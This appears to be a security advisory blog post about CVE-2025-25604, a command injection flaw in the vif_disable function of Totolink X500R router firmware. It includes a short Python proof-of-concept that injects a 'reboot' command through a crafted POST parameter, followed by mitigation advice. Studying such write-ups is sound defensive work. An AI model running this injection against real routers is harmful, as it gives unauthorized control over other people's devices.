A newly discovered vulnerability, labelled as CVE-2025-25604, has been found in Totolink X500R V9.1.u.6369_B20230113 routers, exposing these systems to command injection attacks. This vulnerability specifically affects the vif_disable function in mtkwifi.lua. In this long-read post, we will discuss the details of the exploit, provide code snippets, and share the original references behind this security issue.

Vulnerability Details

The vulnerability in Totolink X500R V9.1.u.6369_B20230113 stems from the fact that it fails to properly sanitize user input in the router's web interface. An attacker can exploit this weakness to inject and execute arbitrary commands on the system through the vulnerable vif_disable function in the router's mtkwifi.lua file. This may result in unauthorized access, data manipulation, and disruption of the router's functionality.

Exploit

To exploit this vulnerability, an attacker must first gain access to the router's web interface. The attacker can then submit a crafted HTTP POST request containing the malicious payload to the vulnerable vif_disable function. This will trigger the command injection vulnerability, allowing the attacker to execute arbitrary commands on the system.

Proof of Concept (PoC) Code Snippet

The following code snippet demonstrates how an attacker could inject commands using the HTTP POST request to the vif_disable function:

import requests

target_ip = "192.168.1.1"
cmd = "reboot"
target_url = f"http://{target_ip}/admin/mtkwifi.cgi";

data = {
    "fname": "vif_disable",
    "iname": f"ra'{cmd}.test"
}

response = requests.post(target_url, data=data)

if response.status_code == 200:
    print("Command successfully injected")
else:
    print("Injection failed")

This Python code sends an HTTP POST request to the target router's IP address and injects the 'reboot' command into the vif_disable function. If successful, the router will reboot, providing a clear indication that the exploit code executed.

Original References

Researchers who discovered this vulnerability initially reported it to Totolink and the Common Vulnerabilities and Exposures (CVE) organization. The official CVE database contains an entry for CVE-2025-25604 here. Additionally, the National Vulnerability Database (NVD) has published the vulnerability details here.

Mitigation

Totolink has not yet released a software update to address CVE-2025-25604. In the meantime, to mitigate this vulnerability, users should closely monitor and restrict access to their router's web interface. Changing the default admin password and enabling secure HTTPS access can help reduce the attack surface.

Conclusion

The command injection vulnerability in Totolink X500R V9.1.u.6369_B20230113 routers affects the vif_disable function in mtkwifi.lua. An attacker could potentially take control of a vulnerable router by exploiting this vulnerability. Users are advised to keep a close watch on their router's security and restrict access to the web interface. Check for updates frequently and apply security patches as they become available to protect your devices from potential threats.

Timeline

Published on: 02/21/2025 19:15:14 UTC
Last modified on: 02/21/2025 21:15:24 UTC